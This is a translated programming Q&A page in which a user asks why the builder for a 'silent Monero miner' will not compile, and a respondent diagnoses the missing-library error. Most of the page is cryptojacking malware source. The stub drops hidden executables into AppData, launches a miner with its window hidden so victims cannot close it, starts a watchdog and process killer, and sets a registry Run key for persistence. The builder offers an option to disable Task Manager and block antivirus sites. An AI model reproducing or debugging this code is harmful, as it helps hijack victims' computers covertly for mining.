VB.net CodeDom编译器(不会编译,也不会抛出任何异常

时间:2017-12-03 16:33:50

标签: vb.net compiler-warnings codedom

我正在制作一个静音Monero Miner的构建器,我的存根不会编译,也不会抛出任何异常。

Builder.VB

Public Class builder
    Private Sub Button1_Click(sender As Object, e As EventArgs) Handles compileBTN.Click
        Dim disabler As String = ""
        Dim hidden As String = ""
        Dim good As String = ""

        If disablerCB.Checked Then
            disabler = "True"
        Else
            disabler = "False"
        End If

        If hiddenCB.Checked Then
            hidden = "True"
        Else
            hidden = "False"
        End If

        If goodCB.Checked Then
            good = "True"
        Else
            good = "False"
        End If

        Try

            SaveFileDialog1.ShowDialog()
        Dim compiler As System.CodeDom.Compiler.ICodeCompiler = New VBCodeProvider().CreateCompiler
        Dim parameters As New System.CodeDom.Compiler.CompilerParameters
        parameters.ReferencedAssemblies.Add("System.Windows.Forms.dll")
        parameters.ReferencedAssemblies.Add("NegJECv.exe")
        parameters.ReferencedAssemblies.Add("stub.exe")
        parameters.GenerateExecutable = True
        parameters.OutputAssembly = SaveFileDialog1.FileName
        parameters.CompilerOptions = " / target: winexe"
            Dim results As System.CodeDom.Compiler.CompilerResults = compiler.CompileAssemblyFromSource(parameters, My.Resources.build.Replace("'False1", disabler).Replace("'False2", hidden).Replace("'True1", good).Replace("'addy", TextBox1.Text).Replace("'x", TextBox2.Text).Replace("'pool.minexmr.com:7777", TextBox3.Text))
        Catch ex As Exception
            MessageBox.Show(ex.ToString)
        End Try
    End Sub

    Private Sub helpBTN1_Click(sender As Object, e As EventArgs) Handles helpBTN1.Click
        MessageBox.Show("Checked:" + Environment.NewLine + "Disables task manager and blocks access to well known AV sites" + Environment.NewLine + "Unchecked:" + Environment.NewLine + "Disable", "Help")
    End Sub

    Private Sub helpBTN2_Click(sender As Object, e As EventArgs) Handles helpBTN2.Click
        MessageBox.Show("Checked:" + Environment.NewLine + "Hides the mining window" + Environment.NewLine + "Unchecked:" + Environment.NewLine + "Makes mining window visible", "Help")
    End Sub

    Private Sub helpBTN3_Click(sender As Object, e As EventArgs) Handles helpBTN3.Click
        MessageBox.Show("Checked:" + Environment.NewLine + "If GPU is not good mine anyway" + Environment.NewLine + "Unchecked:" + Environment.NewLine + "Don't mine if GPU isn't good", "Help")
    End Sub
End Class

build.txt

Imports System.IO
Imports System
Imports System.Windows.Forms
Imports System.Management
Imports System.Net
Imports System.Runtime.InteropServices
Imports System.Security.Principal
Imports System.Threading
Imports Microsoft.Win32

' Codename: Armageddon

Public Class EntryPoint

    ' ID of the worker, and computer motherboard.
    Public eKVbBVRUR

    '''''''''' ----- Start of Config ---- ''''''''''

    ' ENABLE THIS IF YOU WANT VIRUS SCANNING WEBSITES, AND FIREWALL DISABLED IF RAN AS ADMIN!
    Public UTReGHEbz = 'False1

    ' True makes the CMD window hidden, and false makes the CMD window show.
    ' NOTE: It's recommended you make it hidden, so the user can't just close the window.
    Public zgeKTeeIl = 'False2

    ' The password for the miner pool.
    ' NOTE: DO NOT CHANGE IF YOU'RE USING THE DEFAULT POOL, OR USING ONE WITHOUT A PASS!
    Public GfT3mNqzJ = "'x"

    ' LOOK HERE: TAKEN OUT FOR NOW!
    ' If the GPU isn't good it'll still try to mine, True = mine anyway, False = Don't mine.
    Public jlaSBWwvP = 'True1

    ' Monero miner pool
    Public yDd4mcvlX = "'pool.minexmr.com:7777"

    ' Monero miner address.
    Public tU4BhdNSC = "'addy"

    '''''''''' ----- End of Config ---- ''''''''''

    Public Shared Sub Main()

        Thread.Sleep(350)

        Try

            Dim p1() As Process

            p1 = Process.GetProcessesByName("j2n6e61Ws")

            If p1.Count > 0 Then

                Exit Sub
            Else

            End If

        Catch
        End Try


        Try

            Dim p2() As Process

            p2 = Process.GetProcessesByName("vjHG3JJVV")

            If p2.Count > 0 Then

                Try
                    Exit Sub

                Catch ex As Exception

                End Try

            Else

            End If

        Catch
        End Try

        Try

            Dim V8A7qHAYv As New Threading.Thread(AddressOf zUKDexMlO79V)
            V8A7qHAYv.Priority = Threading.ThreadPriority.Highest
            V8A7qHAYv.Start()

        Catch
        End Try

        Try

            Dim ugF3znX9F As New Threading.Thread(AddressOf r2Qt45RyL)
            ugF3znX9F.Priority = Threading.ThreadPriority.AboveNormal
            ugF3znX9F.Start()

        Catch ex As Exception
        End Try

    End Sub

    Sub r2Qt45RyL()

        Try
            If Not IO.Directory.Exists("C:\Users\" + Environment.UserName + "\AppData\Roaming\RegMak") Then
                IO.Directory.CreateDirectory("C:\Users\" + Environment.UserName + "\AppData\Roaming\RegMak")
            End If
        Catch ex As Exception

        End Try


        ' Miner.
        Dim F396LOkCU As New WebClient
        Dim mtHLNByn5 = My.Resources.stub


        Try

            If IO.File.Exists("C:\Users\" + Environment.UserName + "\AppData\Roaming\RegMak\j2n6e61Ws.exe") Then
                IO.File.Delete("C:\Users\" + Environment.UserName + "\AppData\Roaming\RegMak\j2n6e61Ws.exe")
            End If

        Catch ex As Exception

        End Try


        Try
            ' REGSVR.EXE
            If IO.File.Exists("C:\Users\" + Environment.UserName + "\AppData\Roaming\RegMak\vjHG3JJVV.exe") Then

                IO.File.Delete("C:\Users\" + Environment.UserName + "\AppData\Roaming\RegMak\vjHG3JJVV.exe")

            End If

        Catch ex As Exception
        End Try

        Try

            IO.File.WriteAllBytes("C:\Users\" + Environment.UserName + "\AppData\Roaming\RegMak\j2n6e61Ws.exe", mtHLNByn5)
            IO.File.SetAttributes("C:\Users\" + Environment.UserName + "\AppData\Roaming\RegMak\j2n6e61Ws.exe", IO.FileAttributes.Hidden)

        Catch ex As Exception

        End Try

        ' WATCHDOG, AND KILLER FOR PROCESSES.
        Dim rJVOJf4l2 As New WebClient
        Dim nL54i2qa9 = My.Resources.NegJECmVd

        Try

            IO.File.WriteAllBytes("C:\Users\" + Environment.UserName + "\AppData\Roaming\RegMak\vjHG3JJVV.exe", nL54i2qa9)
            IO.File.SetAttributes("C:\Users\" + Environment.UserName + "\AppData\Roaming\RegMak\vjHG3JJVV.exe", IO.FileAttributes.Hidden)

        Catch ex As Exception

        End Try

        Try
            Dim DwlxThHro As New ProcessStartInfo("C:\Users\" + Environment.UserName + "\AppData\Roaming\RegMak\j2n6e61Ws.exe")

            If zgeKTeeIl = True Then

                DwlxThHro.CreateNoWindow = True
                DwlxThHro.WindowStyle = ProcessWindowStyle.Hidden

            End If

            DwlxThHro.Arguments = " --safe -B -o " & yDd4mcvlX & " -u " & tU4BhdNSC & " -p " & GfT3mNqzJ

            Process.Start(DwlxThHro)

        Catch
        End Try


        Dim t5 As New Threading.Thread(AddressOf pre)
        t5.Start()
    End Sub

    Sub pre()
        Thread.Sleep(2500)

        Try

            Process.Start("C:\Users\" + Environment.UserName + "\AppData\Roaming\RegMak\vjHG3JJVV.exe")

        Catch ex As Exception
        End Try
    End Sub

    Sub zUKDexMlO79V()

        Thread.Sleep(2500)

        Threading.Thread.Sleep(2000)

        Dim ZrgFJa4Je = Application.ExecutablePath

        Try
            FileCopy(ZrgFJa4Je, "C:\Users\" + Environment.UserName + "\AppData\Roaming\KE83ZLNVN.exe")

        Catch ex As Exception

        End Try

        Try
            IO.File.SetAttributes("C:\Users\" + Environment.UserName + "\AppData\Roaming\KE83ZLNVN.exe", IO.FileAttributes.Hidden)
        Catch ex As Exception

        End Try

        Try
            Registry.SetValue("HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run", "9KEuY9gqP", "C:\Users\" + Environment.UserName + "\AppData\Roaming\RegMak\vjHG3JJVV.exe", RegistryValueKind.String)
        Catch
        End Try

    End Sub

End Class

1 个答案:

答案 0 :(得分:1)

致电后

Dim results As System.CodeDom.Compiler.CompilerResults = 
    compiler.CompileAssemblyFromSource(...

results.Errors包含2个错误。

  

(0)= {vbc:命令行(0,0):错误BC2017:找不到库'NegJECv.exe'}
  (1)= {vbc:致命(0,0):错误BC2000:编译器初始化意外失败:0x80070002}

如果您的系统发生同样的错误,您可能应该指定NegJECv.exe的文件路径。

您应该添加以下行以了解构建错误:

If results.Errors.Count > 0 Then
    Dim messages = From err In results.Errors.Cast(Of CompilerError)
                   Select (err.ToString())
    Dim msg = String.Join(vbCrLf, messages)
    MessageBox.Show(msg, $"{results.Errors.Count} errors encountered during build")
End If